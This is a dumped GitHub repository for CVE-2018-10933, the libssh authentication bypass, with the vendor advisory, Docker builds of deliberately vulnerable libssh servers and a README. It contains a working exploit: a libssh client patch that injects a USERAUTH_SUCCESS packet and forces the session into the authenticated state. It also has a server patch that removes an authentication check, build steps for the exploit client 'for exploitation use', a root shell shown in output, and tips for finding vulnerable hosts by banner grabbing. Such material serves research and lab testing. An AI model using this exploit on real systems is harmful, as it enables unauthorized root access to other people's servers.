├── CVE-2018-10933.txt ├── Dockerfile ├── README.md ├── build.sh ├── cve-2018-10933.patch ├── libssh-0.5.0-target ├── Dockerfile ├── README.md ├── build.sh ├── libssh-0.5.0.tar.gz └── run.sh ├── libssh-0.8.3.tar.xz ├── run.sh └── server.patch /CVE-2018-10933.txt: -------------------------------------------------------------------------------- 1 | ======================================================================= 2 | == Subject: Authentication bypass in server code 3 | == 4 | == CVE ID#: CVE-2018-10933 5 | == 6 | == Versions: All versions of libssh 0.6 and later 7 | == 8 | == Summary: There is a vulnerability within the server code which 9 | == can enable a client to bypass the authentication 10 | == process and set the internal state machine maintained 11 | == by the library to authenticated, enabling the 12 | == (otherwise prohibited) creation of channels. 13 | == 14 | ======================================================================= 15 | 16 | =========== 17 | Description 18 | =========== 19 | 20 | libssh versions 0.6 and above have an authentication bypass vulnerability in 21 | the server code. By presenting the server an SSH2_MSG_USERAUTH_SUCCESS message 22 | in place of the SSH2_MSG_USERAUTH_REQUEST message which the server would expect 23 | to initiate authentication, the attacker could successfully authentciate 24 | without any credentials. 25 | 26 | The bug was discovered by Peter Winter-Smith of NCC Group. 27 | 28 | ================== 29 | Patch Availability 30 | ================== 31 | 32 | Patches addressing the issue have been posted to: 33 | 34 | https://www.libssh.org/ 35 | 36 | libssh version 0.8.4 and libssh 0.7.6 have been released to address this issue. 37 | 38 | ========== 39 | Workaround 40 | ========== 41 | 42 | There is no workaround for this issue. 43 | 44 | ======= 45 | Credits 46 | ======= 47 | 48 | The bug was discovered by Peter Winter-Smith of NCC Group. 49 | 50 | Patches are provided by the Anderson Toshiyuki Sasaki of Red Hat and the libssh 51 | team. 52 | 53 | ========================================================== 54 | == The libssh team 55 | ========================================================== 56 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # libssh server vulnerable to cve-2018-10933 with a simple PoC demo 2 | FROM base/archlinux 3 | ADD libssh-0.8.3.tar.xz /root 4 | ADD cve-2018-10933.patch /root 5 | ADD server.patch /root 6 | RUN pacman -Syu --noconfirm &&\ 7 | pacman -S patch net-tools vim openssh make gcc cmake --noconfirm &&\ 8 | cp -r /root/libssh-0.8.3 /root/exploit-libssh-0.8.3 &&\ 9 | cd /root/libssh-0.8.3 &&\ 10 | mkdir build &&\ 11 | cd build &&\ 12 | cmake .. &&\ 13 | make &&\ 14 | make install &&\ 15 | cd examples &&\ 16 | make &&\ 17 | cd /root/exploit-libssh-0.8.3 &&\ 18 | patch -p0 < /root/cve-2018-10933.patch &&\ 19 | patch -p0 < /root/server.patch &&\ 20 | mkdir build && \ 21 | cd build && \ 22 | cmake .. && \ 23 | make &&\ 24 | make install &&\ 25 | cd /root &&\ 26 | ssh-keygen -t dsa -f ssh_host_dsa_key -N '' &&\ 27 | ssh-keygen -t rsa -b 2048 -f ssh_host_rsa_key -N '' 28 | EXPOSE 22 29 | CMD ["/root/exploit-libssh-0.8.3/build/examples/ssh_server_fork", "-d", "/root/ssh_host_dsa_key", "-k", "/root/ssh_host_rsa_key", "-p", "22", "-v", "0.0.0.0" ] 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-10933 2 | CVE-2018-10933 libssh authentication bypass, a vulnerable Docker container that listens on port 2222 3 | for exploitation. A basic proof-of-concept libssh patch included in the container to bypass auth. To login 4 | use the default "myuser" / "mypassword" from libssh. A patch is applied to a copy of libssh in 5 | the Docker container which injects a SSH2_MSG_USERAUTH_SUCCESS packet during any authentication 6 | (keyboard-interactive / pubkey / gss-api etc.) attempt and sets the client side state to proceed. The 7 | included server has been patched from example code to allow exploitation to succeed. 8 | 9 | ``` 10 | ./build.sh 11 | ./run.sh 12 | ssh -l myuser -p 2222 localhost 13 | ``` 14 | 15 | A patched exploit-libssh-0.8.3 and vulnerable sshd are available in the container for testing purposes. 16 | The "ssh-client" will successfully bypass authentication but is unable to spawn a shell against the 17 | default example server due to additional authentication checks in the server code. 18 | 19 | ``` 20 | [root@305b48cb932e ]# cd /root/exploit-libssh-0.8.3/build/examples 21 | [root@305b48cb932e examples]# ./ssh-client -l root 127.0.0.1 22 | The server is unknown. Do you trust the host key (yes/no)? 23 | SHA256:Mg6j2yHWMsRe56ABhAYjLIJK9yD2N3lGQAl3EfGqP7w 24 | yes 25 | This new key will be written on disk for further usage. do you agree ? 26 | yes 27 | Requesting shell : Channel request shell failed 28 | [root@305b48cb932e examples]# 29 | ``` 30 | 31 | From the advisory "malicious client could create channels without first performing authentication, resulting in unauthorized access." 32 | 33 | The following libssh debug output shows authentication has succeeded on the server and a session 34 | channel has been created. The host is now authenticated but additional server side checks prevent 35 | commands being executed. An attacker could still attempt to tunnel/proxy connections through 36 | the service. 37 | 38 | ``` 39 | [2018/10/19 01:26:24.929187, 3] ssh_packet_process: Dispatching handler for packet type 52 40 | [2018/10/19 01:26:24.929228, 3] ssh_packet_userauth_success: Authentication successful 41 | [2018/10/19 01:26:24.971901, 3] ssh_packet_socket_callback: packet: read type 90 [len=44,padding=19,comp=24,payload=24] 42 | [2018/10/19 01:26:24.971984, 3] ssh_packet_process: Dispatching handler for packet type 90 43 | [2018/10/19 01:26:24.972012, 3] ssh_packet_channel_open: Clients wants to open a session channel 44 | [2018/10/19 01:26:24.972057, 3] ssh_message_channel_request_open_reply_accept_channel: Accepting a channel request_open for chan 43 45 | [2018/10/19 01:26:24.972193, 3] ssh_socket_unbuffered_write: Enabling POLLOUT for socket 46 | [2018/10/19 01:26:24.972233, 3] packet_send2: packet: wrote [len=28,padding=10,comp=17,payload=17] 47 | ``` 48 | 49 | Attempts to launch shells / exec or pty result in a successful session but errors on the example server due to an additional 50 | checks on the user authentication state. The following errors are shown on the example server. 51 | 52 | ``` 53 | [2018/10/19 03:33:56.539864, 3] ssh_message_handle_channel_request: Received a shell channel_request for channel (43:0) (want_reply=1) 54 | [2018/10/19 03:33:56.539899, 3] ssh_message_channel_request_reply_default: Sending a default channel_request denied to channel 0 55 | ``` 56 | 57 | It is still possible for bespoke libssh servers to potentially result in arbitrary code execution 58 | but the majority may only allow tunneling or some misuse of SSH protocol. By removing the additional authentication check 59 | the server is now vulnerable to the authentication bypass exploit. It is possible for a server side libssh implementation 60 | to introduce this vulnerability. Example of a successful exploitation using patched libssh below. 61 | 62 | ``` 63 | [root@3a184714fd21]# cd /root/exploit-libssh-0.8.3/build/examples 64 | [root@3a184714fd21 examples]# ./ssh-client -l root 127.0.0.1 65 | The server is unknown. Do you trust the host key (yes/no)? 66 | SHA256:DyYf8l6tjNc0kyUe5uE/Rt8vHI1SuhsVGbzOonzPlaY 67 | yes 68 | This new key will be written on disk for further usage. do you agree ? 69 | yes 70 | [root@3a184714fd21 /]# id 71 | uid=0(root) gid=0(root) groups=0(root) 72 | ``` 73 | 74 | The Docker container will run the vulnerable "ssh_server_fork" example by default, the original can be found 75 | in "libssh-0.8.3" directory for testing/debugging purposes. 76 | 77 | # Impacted Vendors 78 | The following vendors appear to be practically impacted by this flaw due to their use of libssh. 79 | 80 | * F5 https://support.f5.com/csp/article/K52868493 81 | * Redhat https://access.redhat.com/security/cve/cve-2018-10933 82 | 83 | libssh is installed locally on a number of *BSD & Linux distributions as is used by ffmpeg (?), hydra 84 | and a small number of FOSS packages. 85 | 86 | # Exploit 87 | You can build a patched libssh client from this repo for exploitation use. 88 | 89 | ``` 90 | git clone https://github.com/hackerhouse-opensource/cve-2018-10933 91 | cd cve-2018-10933 92 | xz -d libssh-0.8.3.tar.xz 93 | tar -xvf libssh-0.8.3.tar 94 | cd libssh-0.8.3 95 | patch -p0 < ../cve-2018-10933.patch 96 | mkdir build 97 | cd build 98 | cmake .. 99 | make 100 | ``` 101 | 102 | You can then use "ssh-client" and any examples to bypass authentication on affected libssh server 103 | implementations. 104 | 105 | ``` 106 | $ ./ssh-client -l root 127.0.0.1 -p 2222 107 | [root@8fec78903da2 /]# id 108 | uid=0(root) gid=0(root) groups=0(root) 109 | ``` 110 | 111 | # Identification 112 | 113 | Scanning for potentially vulnerable hosts can be performed simply by doing regular banner 114 | grabbing on affected SSH ports (e.g. nmap). 115 | ``` 116 | SSH-2.0-libssh_0.8.3 117 | ``` 118 | 119 | # Credits 120 | The original advisory is in CVE-2018-10933.txt, vulnerability found by Peter Winter Smith. Vulnerable Docker 121 | and libssh exploit patch released by Hacker House (https://hacker.house). 122 | -------------------------------------------------------------------------------- /build.sh: -------------------------------------------------------------------------------- 1 | docker image rm --force hackerfantastic/cve-2018-10933 2 | docker build -t hackerfantastic/cve-2018-10933 . 3 | -------------------------------------------------------------------------------- /cve-2018-10933.patch: -------------------------------------------------------------------------------- 1 | --- src/auth.c 2018-10-19 01:15:21.246145402 +0000 2 | +++ src/auth.c 2018-10-19 01:16:06.802096017 +0000 3 | @@ -145,7 +145,16 @@ 4 | if (!ssh_auth_response_termination(session)) { 5 | return SSH_AUTH_AGAIN; 6 | } 7 | - 8 | + /* we tried to authenticate, so send an authentication success packet to break state machine */ 9 | + ssh_buffer_pack(session->out_buffer, "bsss",SSH2_MSG_USERAUTH_SUCCESS,session->opts.username,"ssh-connection","none"); 10 | + ssh_packet_send(session); 11 | + /* set the client side session settings & clear errors */ 12 | + session->auth.state = SSH_AUTH_STATE_SUCCESS; 13 | + session->session_state = SSH_SESSION_STATE_AUTHENTICATED; 14 | + session->flags |= SSH_SESSION_FLAG_AUTHENTICATED; 15 | + ssh_reset_error(session); 16 | + session->auth.current_method = SSH_AUTH_METHOD_UNKNOWN; 17 | + /* the library will force return SSH_AUTH_STATE_SUCCESS now */ 18 | switch(session->auth.state) { 19 | case SSH_AUTH_STATE_ERROR: 20 | rc = SSH_AUTH_ERROR; 21 | -------------------------------------------------------------------------------- /libssh-0.5.0-target/Dockerfile: -------------------------------------------------------------------------------- 1 | # libssh-0.5.0 legacy implementation 2 | FROM ubuntu:trusty 3 | ADD libssh-0.5.0.tar.gz /root 4 | RUN apt-get update --assume-yes &&\ 5 | apt-get upgrade --assume-yes &&\ 6 | apt-get install vim zlib1g zlib1g-dev libssl-dev openssh-client cmake build-essential --assume-yes &&\ 7 | ssh-keygen -t dsa -f /root/ssh_host_dsa_key -N '' &&\ 8 | ssh-keygen -t rsa -b 2048 -f /root/ssh_host_rsa_key -N '' &&\ 9 | cd /root/libssh-0.5.0 &&\ 10 | mkdir build &&\ 11 | cd build &&\ 12 | cmake .. &&\ 13 | make 14 | EXPOSE 22 15 | CMD ["/root/libssh-0.5.0/build/examples/samplesshd", "-d", "/root/ssh_host_dsa_key", "-k", "/root/ssh_host_rsa_key", "-p", "22", "-v", "0.0.0.0" ] 16 | -------------------------------------------------------------------------------- /libssh-0.5.0-target/README.md: -------------------------------------------------------------------------------- 1 | # cve2018-10933 2 | 3 | An alternative libssh-0.5.0 target to test against in default build state. 4 | -------------------------------------------------------------------------------- /libssh-0.5.0-target/build.sh: -------------------------------------------------------------------------------- 1 | docker image rm --force hackerfantastic/cve-2018-10933 2 | docker build -t hackerfantastic/cve-2018-10933 . 3 | -------------------------------------------------------------------------------- /libssh-0.5.0-target/libssh-0.5.0.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackerhouse-opensource/cve-2018-10933/88cb125b2b2591ccdbac619840a4cb1765739179/libssh-0.5.0-target/libssh-0.5.0.tar.gz -------------------------------------------------------------------------------- /libssh-0.5.0-target/run.sh: -------------------------------------------------------------------------------- 1 | docker run -p 2222:22 -it hackerfantastic/cve-2018-10933 2 | -------------------------------------------------------------------------------- /libssh-0.8.3.tar.xz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackerhouse-opensource/cve-2018-10933/88cb125b2b2591ccdbac619840a4cb1765739179/libssh-0.8.3.tar.xz -------------------------------------------------------------------------------- /run.sh: -------------------------------------------------------------------------------- 1 | docker run -p 2222:22 -it hackerfantastic/cve-2018-10933 2 | -------------------------------------------------------------------------------- /server.patch: -------------------------------------------------------------------------------- 1 | --- examples/ssh_server_fork.c 2018-09-19 14:52:59.000000000 +0000 2 | +++ examples/ssh_server_fork.c 2018-10-19 18:08:14.548518798 +0000 3 | @@ -531,7 +531,7 @@ 4 | ssh_event_add_session(event, session); 5 | 6 | n = 0; 7 | - while (sdata.authenticated == 0 || sdata.channel == NULL) { 8 | + while (sdata.channel == NULL) { 9 | /* If the user has used up all attempts, or if he hasn't been able to 10 | * authenticate in 10 seconds (n * 100ms), disconnect. */ 11 | if (sdata.auth_attempts >= 3 || n >= 100) { 12 | --------------------------------------------------------------------------------